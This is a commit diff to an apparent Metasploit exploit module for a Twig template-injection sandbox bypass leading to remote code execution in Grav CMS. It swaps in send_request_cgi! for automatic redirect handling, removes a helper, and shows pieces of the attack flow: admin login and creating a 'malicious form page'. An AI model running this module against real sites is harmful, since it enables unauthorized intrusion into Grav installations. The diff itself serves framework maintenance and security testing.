Use send_request_cgi! for automatic redirect handling

nakkouchtarek · nakkouchtarek · commit a20e2dfa6e9b · 2025-12-11T20:03:17.000+01:00
diff --git a/modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb b/modules/exploits/multi/http/grav_twig_ssti_sandbox_bypass_rce.rb
@@ -166,16 +166,13 @@ def get_version_after_login
   end
 
   def authenticate
-    res = send_request_cgi(
+    res = send_request_cgi!(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'admin'),
       'keep_cookies' => true
     )
     return :connection_failed unless res
 
-    res = follow_redirect(res)
-    return :connection_failed unless res
-
     html = res.get_html_document
     return :connection_failed unless html
 
@@ -237,7 +234,7 @@ def fetch_admin_nonce
 
   def create_form_page
     print_status('Creating malicious form page...')
-    res = send_request_cgi(
+    res = send_request_cgi!(
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
       'keep_cookies' => true,
@@ -254,7 +251,6 @@ def create_form_page
     )
     fail_with(Failure::Unreachable, 'Connection failed') unless res
 
-    res = follow_redirect(res)
     html = res.get_html_document
     fail_with(Failure::UnexpectedReply, 'Could not parse form page') unless html
 
@@ -370,14 +366,4 @@ def compress_deflate(data)
     deflater.close
     compressed
   end
-
-  def follow_redirect(res)
-    return res unless [301, 302, 303].include?(res.code)
-
-    send_request_cgi(
-      'method' => 'GET',
-      'uri' => res.headers['Location'],
-      'keep_cookies' => true
-    )
-  end
 end
